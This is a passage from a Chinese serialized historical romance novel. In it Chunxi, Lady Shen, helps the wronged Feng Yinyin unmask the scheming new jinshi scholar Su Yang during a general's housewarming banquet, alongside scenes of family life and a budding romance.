说完来龙去脉,冯茵茵已是泣不成声,她重重地朝春喜磕了个头,再抬头时,额头磕破了皮,流出血来。 回京之前,虎叔早就飞鸽传书跟春喜说了大概的情况。 冯家的案子的确另有隐情。 但事情已经过去一年多,好多人证物证都已被抹除,要想完全查清楚真相,还需要一些时间。 春喜把冯茵茵扶起来,温声安慰:“姑娘的冤屈我都已经知道了,你放心,已经有人去调查真相,姑娘可以先安心在府上休养,相信很快一切就能水落石出。” 冯茵茵的泪流得更欢,感激道:“多谢沈夫人,只要真相能大白,小女子余生愿意当牛做马报答夫人。” 冯茵茵说完又要下跪,春喜扶住她:“我也不是完全为了帮姑娘,姑娘不必如此。” 话音刚落,冯茵茵晕死过去。 春喜连忙让人把她送去客房,又请了大夫来。 经过诊治,冯茵茵的身体没什么大问题,只是在采石场干了一年的苦活,加上连日奔波,情绪太过激动,所以才会晕过去。 春喜吩咐厨房先给她做些肉粥之类的流食调养脾胃,等过几日再进补。 夜里,春喜跟沈清渊说了这件事,她忍不住感叹:“在我的记忆中苏伯父是个脾气很好又很有正义感的人,他离世时苏扬也懂事了,没想到苏扬没有继承半点儿苏伯父的好,还干出这种草菅人命的事。” 说到最后,春喜的声音微微拔高,颇为激愤。 沈清渊断案太多,早就见惯了人心险恶,倒是十分平静:“御史台虽然不能直接插手地方之事,但这种特别恶劣的,在禀报陛下之后,可以将卷宗调来,到时直接在京里审。” 冯家冤案能成,禹州州府恐怕也脱不了干系,只要证据确凿,沈清渊亲自审,苏扬绝对难逃一死。 春喜听出沈清渊的言外之意,立刻竖起大拇指:“昭陵能有夫君这样的好官,真是天下黎民百姓之福!” 春喜不是在拍马屁,而是发自内心地觉得自家大人可太好了。 看到春喜眸底的崇拜,沈清渊眸子微黯。 两人说了会儿话,奶娘把宁儿和安安抱来。 宁儿还小,连翻身都不怎么熟练,小小一只裹在小被子里,只用水汪汪的大眼睛盯着春喜。 安安倒是已经会爬了,这会儿精神正好,春喜拿了拨浪鼓逗她,安安乐得不行,露出还没长牙的牙床,和粉嫩嫩的舌头,没一会儿就淌下口水来。 春喜眼疾手快地给她擦掉。 玩了一会儿,宁儿打起哈欠,安安也跟着揉眼睛。 春喜正准备哄睡,沈清渊突然走过来:“我还有事跟夫人说,今晚让他们跟奶娘睡。” 沈清渊的语气和表情都挺严肃的,春喜以为有什么大事,等奶娘把孩子抱走,立刻问:“夫君,什么事啊?” “再过几日,宁儿就满百日了。” “对呀,”春喜点点头,“不过宁儿还小,安安的身子也弱,我不打算大办,免得他们接触太多人反而会生病,到时就请舅母一家还有我大哥来,夫君觉得怎么样?” “好,都听夫人的。” 沈清渊爽快点头,同时脱了鞋子上床。 春喜习惯性地窝进他怀里,环住他的腰,过了一会儿,她忍不住抬头问:“夫君不是说有事要跟我说吗?” “刚刚不是已经说过了吗?” “……”??? 刚刚那算什么事? 春喜狐疑地盯着沈清渊,沈清渊轻咳一声说:“倒是还有一件事。” 这才对嘛! 春喜眼眸微亮,等着沈清渊的下文,下一刻,沈清渊低头凑近。 虽然有了孩子,但这些日子两人还是相拥而眠,感情不比之前淡,反而越发浓烈。 春喜刚刚还想着正事,这会儿被沈清渊的呼吸包裹,不免有些走神。 自从怀孕,她跟大人好久都没有同房过了。 大人出了趟远门回来,腰上的肌肉好像更紧实了,有好几次她都摸到硬邦邦的。 之前没怀孕的时候,大人可厉害着呢。 这般想着,春喜有点儿口干舌燥,沈清渊的声音适时响起:“夫人,宁儿都满百日了,你还要为夫做多久的和尚?” 诶? 原来大人要说的事是这个吗? 这确实不太适合让两个小家伙听到。 春喜揽住沈清渊的脖子亲了一下,弯眸道:“那就要看夫君的定力如何了。” 第333章 萧将军,好巧 虽然考虑到春喜带孩子辛苦,沈清渊有所克制,但禁欲太久,到底还是折腾了些。 第二日春喜睡过了头,再醒来时已是日上三竿。 她跟禾儿和月儿约好今天一起逛街给萧夜辰挑选贺礼。 春喜连忙叫人帮自己梳妆打扮。 “大人一早就派人去萧家说了夫人会晚出门一些,夫人就放心吧。” 帮忙梳妆的丫鬟说完抿唇一笑,春喜从镜子里看到自己颈间有处咬痕,脸不由得发烫。 昨晚她似乎挠了沈清渊好几下,也不知道沈清渊身上会不会留下什么痕迹。 囫囵吃了点儿东西,春喜出了门。 到达约定的地方,萧清禾和萧清月果然也才刚到。 一看到她,萧清月就忍不住问:“昨夜可是发生了什么棘手的事,小婶婶怎会累得起不来床?” 春喜:“……” 棘手的事倒是没有,就是怪累腰的。 春喜不好意思说实话,只能把锅都推到安安和宁儿身上:“没什么大事,就是孩子胀气,闹腾了大半夜,所以今天就多睡了会儿。” 春喜的语气很是自然,萧清月没有怀疑,挽着春喜和萧清禾开始逛街,得意道:“我花重金让回春堂的大夫配制了一种新的祛疤膏,阿辰哥哥肯定用得上。” 萧清禾觉得有些不妥:“萧将军应该并不在意脸上有疤,月儿你要不再想想?” “他自己不在意,但别人在意啊,他还没成婚呢,把脸上的疤痕淡化一下,愿意嫁给他的人肯定更多啦。” 这话倒也有道理。 萧清禾不再劝,萧清月顺着这个话题继续道:“最近来家里找娘打听消息的可多了,不仅是因为阿辰哥哥立了战功,还因为嫁给阿辰哥哥不用伺候公婆,更不用被妯娌和各种亲戚烦扰,就像小婶婶这样,日子可滋润啦。” 春喜挑眉。 以前那些世家夫人都瞧不上她,如今倒是看出她择夫的英明之处了? 萧清禾不赞同道:“凡事都是有利有弊的,小婶婶如今日子的确滋润,但不管遇到什么事都得她自己想办法解决,月儿可有小婶婶这样独当一面的能力和勇气?” 萧清月毫不犹豫地摇头:“我可应付不了这么多事,我得听娘的,日后找个宽厚和善的婆家,让婆母和夫君护着我。” 说着话,三人进到一家古玩店。 店里的伙计极有眼力见儿,见三人衣着不俗,立刻满脸堆笑地迎上来:“三位贵客慢慢瞧慢慢看,咱们店里好东西多的是,不管是自己用还是买去送礼绝对很有面子!” 春喜对这些不是很懂,正要让伙计仔细介绍一番,苏扬惊喜激动的声音就传了过来:“阿喜。” 话落,苏扬已来到三人面前。 他嘴上叫着春喜,余光却不住在萧清禾和萧清月身上流转。 这两位小姐貌美如花,通身都透着贵气,一看就是世家大族悉心娇养出来的,可不是曹春喜这种耍心机飞上枝头的麻雀能比的。 苏扬叫得很是亲昵,萧清月好奇地问:“小婶婶,这位公子是谁呀?” 不等春喜回答,苏扬抢先行礼道:“见过二位小姐,在下苏扬,是今年春闱的新科进士,也是阿喜儿时的玩伴,在下的父亲和阿喜的父亲是至交好友。” 苏扬竭尽全力让自己表现得文质彬彬,想给萧清禾和萧清月留下个好印象。 春喜很少提及娘家的人和事,萧清禾和萧清月只知道春喜跟王氏的母女关系很差,而曹父很早就意外身故了,之前春喜遇到难事,这个叫苏扬的从来都没有出现,想来跟春喜的关系也不是多好。 两人淡淡颔首算是回应,并没有接苏扬的话。 苏扬忍不住看向春喜:“阿喜不介绍一下这二位小姐吗?” 再一次听到苏扬的称呼,萧清禾忍不住皱了皱眉。 就算苏扬和小婶婶是儿时玩伴,但小婶婶现在已为人妇,在这种人来人往的地方,苏扬应该称小婶婶一声沈夫人才对。 春喜知道苏扬是故意这么叫的,她没有刻意纠正,柔柔道:“这二位是我夫君的侄女,也是萧家的大小姐和二小姐。” 苏扬顿时眼前一亮。 他之前就听说萧家有两颗明珠,大小姐萧清禾温婉娴静,才貌双绝,二小姐萧清月活泼可爱,明媚动人。 原本卫萧两家联姻是天作之合,没想到造化弄人,大小姐萧清禾出嫁不过半年,就闹得和离归家。 没见面之前,苏扬心里是很嫌弃萧清禾是二嫁妇的,但他的家世太差,就算有春喜从中撮合,只怕也只能攀上萧清禾,但现在看到萧清禾绝美的容颜,苏扬顿时心生雀跃。 这萧大小姐虽然已经不是完璧之身,但模样和家世真真是极好的,而且前不久她还被封了清韵县主,有俸禄和食邑,娶了她倒也不亏。 这般想着,苏扬露出笑容,殷勤地冲萧清禾道:“小生早就听闻清韵县主的贤名,前不久越西用香不知害了多少人,危急关头,县主挺身而出,帮助了许多被香所害的人,还毫不吝啬把这些法子都公布出来,真是巾帼不让须眉啊。” 苏扬夸得很是诚恳,萧清禾却生出不喜来,她严肃道:“这件事是小婶婶最先提议,由恒阳公主带头做的,我不过是沾了她们的光,苏公子过誉了。” 恒阳公主和春喜都已为人妇,夸她们能有什么好处? 苏扬不以为意,还要继续拍马屁,一个高大的身影步入店中,虽然人还没到眼前,苏扬却感受到了极有威慑力的审视目光。 偏头,他看到一个身形颀长、一身冷肃的男人,男人面容俊朗,脸上虽然有道疤,却不显丑陋,反倒威压满满,叫人不敢直视。 “阿辰哥哥,好巧!” 萧清月轻快地打招呼,春喜也和萧清禾一起侧身道:“萧将军。” 萧夜辰颔首回应,而后看向苏扬:“这位公子是……?” 萧夜辰语气带着疑问,眼神却带着凛冽的杀气。 苏扬挺直背脊,后背莫名有些发凉。 这位就是在翁州斩杀了轩辕朗的青麟将军啊,他们素未谋面,为何青麟将军会对他敌意满满? 第334章 禾儿妹妹 “在下苏扬,是今年的新科进士,也是阿喜儿时的玩伴。” 苏扬开口回答,虽然心中有些害怕萧夜辰,但为了不在萧清禾面前矮了气势,还是努力绷直身子,装作云淡风轻。 然而他刚说完,就听到萧夜辰冷寒的声音:“苏公子能中进士,想来是知书达理之人,可纵然你与沈夫人儿时有几分情谊,也不该在大庭广众之下这般称呼沈夫人吧?” 苏扬表情一僵。 他虽然中了进士,但在瀚京这些世家贵族面前还是个无名之辈,他如果不刻意跟春喜拉近关系,根本没有资格站在这里跟萧清禾她们攀谈。 现在萧夜辰直接戳破这一点,让他面上很是挂不住,他连忙道:“萧将军提醒的是,方才是我大意失礼了。” 萧夜辰板着脸,一本正经:“苏公子冒犯的是沈夫人,应该向沈夫人道歉才对。” 苏扬咬咬牙,暗骂萧夜辰多事,但也不敢违逆,只能低头向春喜认错。 闹了这么一出,苏扬没脸再待下去,匆匆离开。 春喜向萧夜辰道了谢,好奇地问:“萧将军怎会突然出现在这里?” 萧夜辰当然不会说自己是为萧清禾来的,他轻咳一声道:“陛下赐给我的府邸快修好了,我打算买些摆件回去装饰一下,我对这些不是很擅长,今日运气好碰到了沈夫人,能不能请沈夫人帮忙参谋一下?” 萧夜辰满眼期盼。 春喜眉梢微扬,这人还挺会顺竿往上爬。 春喜没有立刻答应,偏头看向萧清禾和萧清月,询问她们的意见,萧清月藏不住事,爽快道:“好呀,我们今日就是来给阿辰哥哥选贺礼的,正愁不知道你的喜好呢,一会儿不如一起选了。” 见萧清禾也没反对,萧夜辰颔首道:“大小姐、二小姐有心了。” “咦?你不是都管我大哥二哥叫哥哥吗,怎么叫我们叫得这么客气,难道因为我们见面少,不熟?” 萧清月面带疑惑。 萧家子嗣众多,萧夜辰到萧家时,已经有六七岁了,因为男女之防,萧清月她们鲜少跟他碰面,逢年过节倒是会碰到一起,但人太多,也说不上话。 不过萧清月都主动叫他阿辰哥哥释放善意,萧夜辰未免也太客气了。 萧夜辰眼睫颤动,垂在身侧的手紧握成拳,过了好一会儿,他改口道:“月儿妹妹,禾儿妹妹。” 那声“禾儿妹妹”他叫得很轻,生怕惊扰了萧清禾。 萧清月倒是没有听出这细微的不同,得了满意的称呼,立刻高高兴兴地在店里逛起来。 她已经想好要给萧夜辰送什么礼物,逛着逛着就被自己感兴趣的东西吸引过去。 春喜倒是和萧清禾一起跟着萧夜辰,但她给不了什么建议,逛了会儿,萧清禾开口:“阿兄虽然是武将,但如今战事已歇,我觉得府中摆的东西可以不那么文雅,但也不用太威严,阿兄意下如何?” 这一声阿兄听得萧夜辰耳朵发麻,他竭力克制,尽可能平静回答:“好。” 萧清禾帮着挑了一些字画、盆景和比较有意思的摆件儿,萧夜辰全程都没有意见,只要萧清禾觉得不错的,就都让伙计包上。 很快,一上午过去,萧夜辰又提出要请吃饭感谢她们,春喜虽然没帮上什么忙,听到吃饭倒是十分积极。 一行人来到最近的酒楼,点完菜,萧清月忍不住好奇:“阿辰哥哥,你到底喜欢什么样的女子啊,最近找我娘打探消息的人可太多了,你说说看嘛。” 除了找萧夫人打探消息的,其实萧清月的好些手帕交也都在跟她打探这件事。 “月儿,不许胡闹。” 萧清禾低声警告,觉得萧清月的问题越界了。 萧清月娇嗔道:“阿姐,我没有坏心,只是问问也不行吗?” 不等萧清禾开口,萧夜辰主动道:“其实我有心仪的人了。” “诶,真的吗?是哪家的小姐呀?我回去就告诉娘,让她找人去帮阿辰哥哥提亲!” 萧清月立刻追问,两眼放光。 萧夜辰垂眸,不敢看萧清禾,沉沉道:“她并不知道我喜欢她,我也不想搅扰她。” 萧清月很是不解:“为什么?你既然喜欢她,怎么会不想把她娶回家,难道她已经嫁给了别人?” 萧夜辰不方便透露更多,正不知该如何回答,春喜适时开口:“好了月儿,萧将军不愿意说肯定有他自己的道理,要是哪天你有了心仪的郎君,也不希望有人一直追问,对吧?” 这倒也是。 萧清月代入自己想了想,果然不再追问,但还是忍不住鼓励萧夜辰:“如果阿辰哥哥真的很喜欢那位姑娘的话,我觉得还是应该多努力争取一下,至少应该找机会让她知道你的心意,就算她不喜欢你,但知道这个世上有个人很喜欢她,她也会高兴的。” 萧夜辰闻言若有所思。 吃完饭,萧夜辰顺路护送两人回家,春喜则又回到了刚刚的古玩店,伙计立刻迎上来:“夫人怎么又回来了,可是丢了什么东西?” “没有,”春喜摇头,拿了一些碎银给伙计,“我想问问,方才那位苏公子来店里买的什么。” 刚刚苏扬的声音很大,伙计知道他和春喜是旧识,他掂了掂手里的碎银,如实道:“那位苏公子不是来买东西的,而是找店里的师傅帮忙给玉佩刻字的,那玉佩好像是他和未婚妻的定情信物,他要刻他未婚妻的名字,他未婚妻貌似姓曹。” 春喜:“……” 所以苏扬这是没有信物,硬造了一个吗? 春喜心中有数,回到家里,立刻去找冯茵茵。 休息一夜,冯茵茵的气色好了些,听春喜问起信物,思忖了一会儿立刻道:“我娘原本是不同意我和他在一起的,那时他为了讨我欢心,在左胸处刺了我的小字,就算他剜去刺青,胸口肯定也会留疤。” 春喜挑眉,这纹在身上的东西,可比那易碎的玉佩说服力强多了。 第335章 开府宴 第二日,苏扬果然拿着玉佩来找春喜,要春喜带他去参加萧夜辰的开府宴。 自从见到萧清禾,苏扬就抓心挠肝的,满脑子想的都是找机会再多跟萧清禾接触一下。 萧清禾和离还没多久,正是受伤需要抚慰的时候,他抓住机会多出现关心她,与她说说话,说不定就能俘获芳心。 而且萧家人也会去参加萧夜辰的开府宴,到时他还能在萧家人面前好好展示一下自己的才能。 苏扬心里的算盘打得噼啪响,他本以为要费一番口舌才能说服春喜,谁知他刚开口,春喜就点头道:“好,改天我就让人把请柬给你送来。” 苏扬有些不可置信:“你就这么答应了?” 春喜眉梢微扬:“要不等你给我磕一个我再答应?” “……” 男儿膝下有黄金,他怎么可能给曹春喜磕头? 苏扬哼了一声拂袖而去。 片刻后,冯茵茵红着眼从内堂走出来。 她在采石场服役一年多,被磋磨得不像样,苏扬如今却是绸缎加身,春风得意,甚至还打起了攀高枝的主意,她恨不得喝了苏扬的血,吃了苏扬的肉。 春喜递了帕子给她,温声安慰:“事情已经查得差不多了,你再等些时日,便可为家里人报仇。” 冯茵茵强忍着没哭,哑声道:“茵茵谢过夫人。” 工部的速度很快,萧夜辰的府邸在年前落成,开府宴定在腊月二十这天。 太子亲笔给他提了匾额,开府宴则是由萧夫人亲自操持。 前两日下了大雪,赴宴这日,到处都是白茫茫的一片。 早饭后,春喜和沈清渊在院子里堆雪人给两个孩子看。 安安如今爬得很快了,宁儿也会熟练翻身,两人对堆雪人很是好奇,不安分地在奶娘怀里扭来扭去,都想亲自试试,春喜捏了两个小小的雪团给他们玩。 正玩得高兴,阿鲤来报,说苏扬来了。 听到这个消息,春喜敛了笑意,沈清渊淡淡开口:“时辰还早,让他等着。” 沈清渊发了话,苏扬这一等就等了一个时辰。 府里下人没给上茶水,更没供应炭火,等春喜和沈清渊准备好出发时,苏扬整个人都冻麻了。 春喜直接带着冯茵茵上了马车从后院出发,沈清渊独自去往前厅见苏扬。 苏扬了一肚子的火,本想发两句牢骚,见到沈清渊,只能生生憋住,小声问:“今日要去将军府赴宴,沈大人怎么不早些出发?” 沈清渊掀眸,睨着苏扬:“苏公子想早点去可以自己去,何必非要来这儿等?” “……” 苏扬噎住。 春喜弄了开府宴的请帖给他,但他谁也不认识,没什么底气,还是想跟春喜和沈清渊他们一起前往。 沈清渊毕竟是御前的红人,到时人家也能高看他一眼。 苏扬没敢再乱说话,跟沈清渊一起出了府,却没看到马车,只看到两匹马。 坐了一个多时辰的冷板凳,苏扬手脚都是冷的,看到马以后,更觉得今日寒风凛冽,他连忙开口:“前两日下了雪,路面肯定很湿滑,骑马去赴宴怕是不安全吧。” 苏扬刚说完,阿鲤便扬声道:“昨日小人才特意找人修了马蹄,打上铁钉,可稳当了,苏公子要是连马都不敢骑,还去将军府赴宴做什么?” 两人说话间,沈清渊已翻身上了马,他没耐心等苏扬,冷淡道:“苏公子若是不愿意骑马,那就自己想办法去将军府吧。” 说完轻夹马腹,径直离开。 眼看阿鲤要把马牵回马厩,苏扬只能硬着头皮上马。 萧夜辰的府邸离萧家不是特别远,过几条街就到了。 一大早,萧家人就到了,帮着萧夜辰一起待客。 看到沈清渊,萧清阳立刻迎上来:“沈叔叔,小婶婶刚刚已经进去了,禾儿和月儿都陪着她呢。” 萧清阳边说边引着沈清渊往里走。 苏扬生怕被丢下,手忙脚乱地下马,然而吹了一路的冷风,四肢早就冻僵不听使唤,他越是心急动作越笨拙,才走了两步,整个人就不受控制地朝前扑去。 萧夜辰恰在此时出来迎接,受了苏扬一跪。 “噗哈哈哈。” 恒阳公主刚下马车就看到这样滑稽的一幕,被逗得大笑起来。 苏扬的脸一下子涨红,又羞又恼。 他算是看明白了,曹春喜这么爽快地答应给他将军府的请柬就没安好心。 等他日后出人头地,绝不会放过这对狗男女! “萧将军的威名真是深入人心啊,这都有人五体投地来感谢将军了。” 恒阳公主笑着打趣,苏扬爬起来,拍拍身上的土,他认出恒阳公主的仪仗,连忙解释:“启禀公主殿下,小生苏扬,是今年的新科进士,方才只是被风吹得腿僵,所以不小心跌了一跤,让公主见笑了。” “原来你就是今年的新科进士呀。” 苏扬以为恒阳公主听过自己的名字,心头一喜,正想说点儿什么展示自己的才华,下一刻却听到恒阳公主说:“揭榜那日本公主去看了,今年的探花郎长得不行。” “……” 苏扬打了满肚子的腹稿哽在喉咙。 恒阳公主根本没有听过他的名字,只不过是因为他,想起了今年的探花郎。 苏扬入京后努力发展人脉,跟探花郎也有几分交情,那人只不过是长得好看了些,就进殿试成了探花,还被礼部侍郎家榜下捉婿,一飞冲天。 苏扬心中不知有多嫉妒,这会儿听到恒阳公主提起,更觉难受,他忍不住说:“公主殿下,美貌对女子来说很重要,但在下觉得,男子还是要靠真才实学立足才好。” 这话恒阳公主就不爱听了,她冷哼了一声:“本公主之前只是觉得今年那些主考官眼神不太好,如今看来,他们这试卷批得好像也不太用心,堂堂进士,竟如此肤浅。” 女子要才貌兼修才能扬名,而男子就只需要注重才学,这是哪儿来的歪理? 苏扬完全不知道自己哪句话惹得恒阳公主不高兴,他还想辩解两句,温砚书上前护住恒阳公主,沉沉道:“公子不会说话还是把嘴闭上吧。” 苏扬:“……”??? 他平日交际广泛,很受欢迎的,怎么就肤浅还不会说话了? 第336章 当面对质 恒阳公主没把苏扬这点儿小插曲放在心上,入府见到春喜和萧清禾,她整个人又高兴起来。 聊了会儿天,恒阳公主注意到冯茵茵,疑惑道:“阿喜你新买了丫鬟吗,瞧着面生。” 冯茵茵很是紧张。 冯家没出事之前,她也算得上是大家闺秀,但她见过身份最高的也就是州府夫人,后来冯家出事,她沦为阶下囚,若不是春喜带着,她这辈子都见不到这么多达官贵人。 春喜温声回答:“不是丫鬟,是一位苦命的姑娘,她叫冯茵茵,只是暂时住在府里,今日我带她来,是想让她见一见故人。” 这话一听就有事。 恒阳公主立刻追问:“什么事,快说来让我听听。” 恒阳公主凑近了些,正在跟萧清禾说话的萧清月也忍不住倾耳来听,春喜向冯茵茵点点头,冯茵茵便把自己的遭遇又说了一遍。 恒阳公主喜欢听戏,私下又看了许多话本子,听到一半便猜出苏扬不是什么好货色,萧清月直到听到最后才反应过来。 见冯茵茵哭得伤心,萧清月也忍不住湿了眼眶,恨恨道:“这个苏扬实在是太过分了,这可是他的亲外祖和亲舅舅,他们好心收留,还供他念书,甚至为他安排好了姻缘,他却勾结外人害人性命、图谋财物,简直猪狗不如!” 恒阳公主勾唇冷笑:“这世上薄情寡义的男人多了去了,但被浸猪笼的可没有几个。” 男人喜新厌旧、另寻新欢是常事,顶多被人骂一句负心汉,可女人要是行差踏错一步,就会被无数人戳脊梁骨骂荡妇,甚至游街浸猪笼。 这世道,从来都不公平。 萧清月本就替冯茵茵不平,听到恒阳公主这话,更是气鼓鼓的。 萧清禾倒是冷静,她轻声问春喜:“小婶婶今日带冯姑娘来赴宴,可是准备当众揭穿苏扬的真面目,需要我们帮忙做些什么吗?” 春喜弯眸:“禾儿真是慧智兰心,一眼就猜出了我心中所想。” ** 苏扬跟着沈清渊来到男宾席后,一扫刚刚在门外的丢脸模样,挺直腰杆,装模作样地跟众人结交起来。 过去这一年多,苏扬也结识了一些世家子弟,但那些人并不刻苦,大多是被家里逼着读点书装装样子,在吃喝玩乐方面倒是十分精通,帮不上苏扬什么。 而今日来赴宴的都是与萧家关系比较好的,还有些则是握有实权的武将,不管攀上谁,都能对苏扬有所助益。 苏扬浑身的毛孔都舒张开来,透出兴奋。 当然,他没忘记萧清禾,更没忘记要巴结萧家人。 攀谈了一圈,苏扬终于找到萧父,他整理了一下衣冠,正想上前与萧父说话,一个小厮突然撞过来。 哗啦! 酒壶落地发出碎裂声,苏扬也被泼了一身的酒,周围的宾客皆闻声看过来。 “小人该死,求公子恕罪!” 小厮跪下磕头,苏扬心中恼怒,却不敢在众人面前发作,只能温声道:“没事,是我没看清路,不怪你,我衣服上都是酒气,能不能先带我去清理一下?” 小厮带着苏扬去到一处有井水的院子,并且刻意交代:“这个院子离女眷席有些近,公子快些清理完跟小人回去吧,要是惊扰了府中女客就不好了。” 苏扬听到这话顿时心念微动。 他可以装作迷路去女眷席看看,若是能找机会跟萧大小姐说上话,岂不是证明他跟萧大小姐缘分匪浅? 这般想着,苏扬冷着脸呵斥小厮:“我的外裳都被酒水浸透了,要想去除酒气,必须把衣服脱下来洗,这个天气,衣服一时半会儿是干不了的,你想办法再给我取一件衣裳来。” “可是……” 小厮面露犹豫,苏扬直接打断他:“我可是你们将军的贵客,要是把我冻出病来,你负得起这个责吗?” “……那请公子在这儿等着,莫要四处走动,小人去为公子取衣裳,很快就回来。” 苏扬答应得好好的,但小厮前脚刚走,他后脚就出了院子。 今日来将军府的男客都是有身份有地位的,这些女眷自然也都很娇贵,突然有男客闯入,她们恐怕会惊慌失措,苏扬正纠结着自己要如何出现才好,余光突然瞥见一个熟悉的身影。 是冯茵茵? 她不是应该沦为阶下囚在禹州服刑吗,怎么会出现在这里? 苏扬怀疑自己的眼睛出了问题,怔愣之间,冯茵茵已冲到他面前,毫不犹豫地甩手给了他一巴掌。 “畜生!” 身负血海深仇,冯茵茵这一巴掌用了全力,苏扬毫无防备,被扇得踉跄着后退了几步。 脸上火辣辣的疼着,苏扬终于确定自己没有眼花,冯茵茵真的来了瀚京! 震惊之后,苏扬迅速冷静下来,他不能让冯茵茵在将军府闹起来。 “茵茵,你怎么在这儿?”苏扬露出惊讶之色,而后去拉冯茵茵的手,“我中进士了,一揭榜我就写信回禹州告诉舅舅这个好消息,你是和舅舅舅母他们一起来瀚京的吗,外祖父可也来了,他年纪这样大,一路舟车劳顿一定很辛苦吧,你怎么也瘦了这么多?” 苏扬声音温柔,眼神深情,句句都是关切。 如果不是冯茵茵知道真相,还提前见过他要挟春喜的丑陋嘴脸,只怕都要被他骗过去。 这世上怎么会有如此厚颜无耻之人? 冯茵茵恨不得撕了苏扬的脸皮,但想到春喜的叮嘱,只能生生忍下,嚎啕大哭起来。 苏扬连忙去捂她的嘴:“茵茵,你有什么委屈都可以跟我说,万不能惊扰贵人啊。” 冯茵茵顺势狠狠咬了苏扬一口。 苏扬怕被那些世家小姐看到自己和冯茵茵纠缠,只能咬牙忍下。 冯茵茵偏头吐出一口血水,冷冷开口:“祖父被诬蔑卖假药医死了人活活气死,父兄被人打成重伤冤死在牢中,母亲气得大病前两个月也去世了,临死之前,母亲买通官差,将我卖身为奴,我才有机会来瀚京,出事之前我给苏扬哥哥写了信,苏扬哥哥明知家中出事却不管不问,如今何必在我面前装深情?” 冯茵茵的信苏扬的确收到过。 正因为确定所有的事都在按照他预料的发展,他才觉得没有后顾之忧,敢登门威胁春喜。 但他没想到,冯茵茵一个手无缚鸡之力的弱女子竟然能跑到瀚京来。 心中暗恼禹州的人都是蠢货,苏扬面上却道:“什么信?我从来都没有收到过茵茵的回信,这里面肯定有什么误会。” 第337章 证据 “你真的没有收到我的信?” 冯茵茵露出犹豫之色,苏扬见她动摇,连忙道:“对啊,我对茵茵你一片真心,中了进士之后,就满心盼着能风光迎娶你过门,要是知道家中出事,我怎可能无动于衷?” 苏扬字字恳切,让自己看上去深情不已。 冯茵茵被他这副嘴脸恶心到,微微垂眸,免得被他看到眸底的嫌恶:“可我来瀚京后打听了下,苏扬哥哥中了进士后,日日出门与人交际,今日来将军府更是为了攀上萧家,好做萧家的乘龙快婿,若不是恰好碰到,苏扬哥哥恐怕早就忘了我这个人了吧。” “这简直是无稽之谈!” 苏扬拔高声音,正义凛然:“茵茵,当年我爹病故,是外祖父和舅舅收留了我和娘,更是你在我最沮丧自卑的时候给了我安慰和力量,这些年我的吃穿用度还有进京赶考的花销都是舅舅给的,于情于理,我此生都只会爱茵茵一人,若是连这都做不到,我还是人吗?” 你当然不是人! 你明知道冯家对你恩重如山,却还是勾结外人,害得冯家家破人亡,然后心安理得的花着冯家的钱为自己铺路。 你这样的,应该下十八层地狱,日日承受剜心油炸之刑才好。 恨意灼得五脏六腑都疼,冯茵茵的声音控制不住有些颤抖:“苏扬哥哥能记得这些就好,可我们毕竟已经一年多没见面了,我不确定你刚刚说的是真的还是哄骗我的。” 苏扬立刻追问:“茵茵要如何才能相信?” “苏扬哥哥之前不是在胸口纹了我的小字吗,若是那小字还在,我就信你。” “这自然是在的,只是这里是将军府,随时都可能有人来,我不方便脱了衣服给你看。” 苏扬答得毫不犹豫,心里暗骂冯茵茵事多。 确定冯家倾覆后,他第一时间就把胸口的字给去掉了,怎么能留到现在? 冯茵茵当然不可能被苏扬糊弄过去,她伸手去扯苏扬的衣襟:“现在不会有人来的,我只看一眼就好,很快的。” 苏扬下意识地躲闪,冯茵茵直接一爪子挠在他脸上。 苏扬被挠破了脸,顿时也来了火气,忍不住推开冯茵茵:“够了!我都说了现在不行,你别胡搅蛮缠,你现在在谁家做事,我回去准备钱给你赎身,其他的事我们以后慢慢再说。” 脸上挂了彩,又被冯茵茵缠上,苏扬没脸再去女眷席晃荡,准备赶紧离开,一转身却发现春喜带着恒阳公主、萧清禾和一众世家夫人走了过来。 苏扬顿时眼皮狂跳,心慌不已。 他正拼命在脑子里想说辞,冯茵茵已冲上前,扑通一声跪在恒阳公主面前:“今科进士苏扬哄骗民女家中财物,勾结歹人害死民女的祖父和父兄,民女的母亲也在服役期间殒命,求公主殿下为民女做主!” 苏扬本以为冯茵茵已经被哄好,没想到她会突然上前状告自己。 他脸色微变,当即矢口否认:“请公主殿下明鉴,此女不知廉耻,故意纠缠于我,被我拒绝便恼羞成怒诬蔑我,我绝没有做伤天害理之事。” 苏扬刚说完,恒阳公主的护卫便上前一脚踢中他的膝弯:“大胆,跟公主殿下竟敢不跪。” 春喜就站在恒阳公主旁边,苏扬感觉春喜好像也受了自己这一跪,心底一阵憋闷,忍不住辩解:“公主殿下,我乃今科进士,按照律法……” 有人搬来太师椅,恒阳公主落了座,幽幽开口:“陛下前不久才封了本公主为裕安大长公主,五品以下的官员见到本公主都要行礼问安,你不过是个区区进士,哪儿来的底气跟本公主叫板?” 苏扬表情一僵。 这一年多他虽然发展了不少人脉,但对权贵圈的事知道的并不多,刚刚攀谈了一圈,他也只知道恒阳公主喜欢看美男子,行事不羁,不是寻常妇人,并不知道恒阳公主竟然有这么高的地位。 感受到来自天皇贵胄的威压,苏扬连忙认错:“草民并不知晓此事,冲撞了公主,还请公主恕罪。” 苏扬已经跪下了,恒阳公主并不与他掰扯这些无关紧要的事,看了冯茵茵一眼问:“这位姑娘状告你谋害她全家,夺她家的家产,你可认罪?” “草民……” 苏扬当即就要否认,恒阳公主抢先道:“本公主脾气不好,听不得假话,你最好想清楚了再回答,刚刚本公主和一众夫人可是都听到你对这位姑娘是如何情深意重的。” 苏扬猛然抬头看向春喜。 冯茵茵是不会突然出现在瀚京的,恒阳公主和这些世家夫人也不该悄无声息地出现在这里听到他和冯茵茵的对话。 是曹春喜和冯茵茵这两个贱人一起设局害他! 苏扬终于明白眼下的处境,他知道自己抵赖不过,更恼恨春喜这样害他。 他不好过,那就都别想好过! 这般想着,苏扬眼底闪过狠戾,他直接豁出去,大声道:“公主殿下,我与曹春喜早就定下娃娃亲,曹春喜毁约嫁人在先,今日又联合别人诬陷我,想置我于死地,请公主殿下为我做主!” 苏扬说完一头磕在地上。 围观众人没想到两人之间还有这样的渊源,全都露出惊异之色,恒阳公主也诧异地跟春喜递眼色,春喜并不否认,面不改色道:“回公主,臣妇的父亲确实曾为我定下娃娃亲,但后来父亲意外身故,臣妇的母亲无法接受这个打击,早就退了这门亲。” “你胡说,我这里有证据!”苏扬说着摸出玉佩,“这是两家当时交换的信物,上面还刻着一个曹字呢。” 为了方便别人看见,苏扬特意交代古玩店的师傅把这个“曹”字刻得很大。 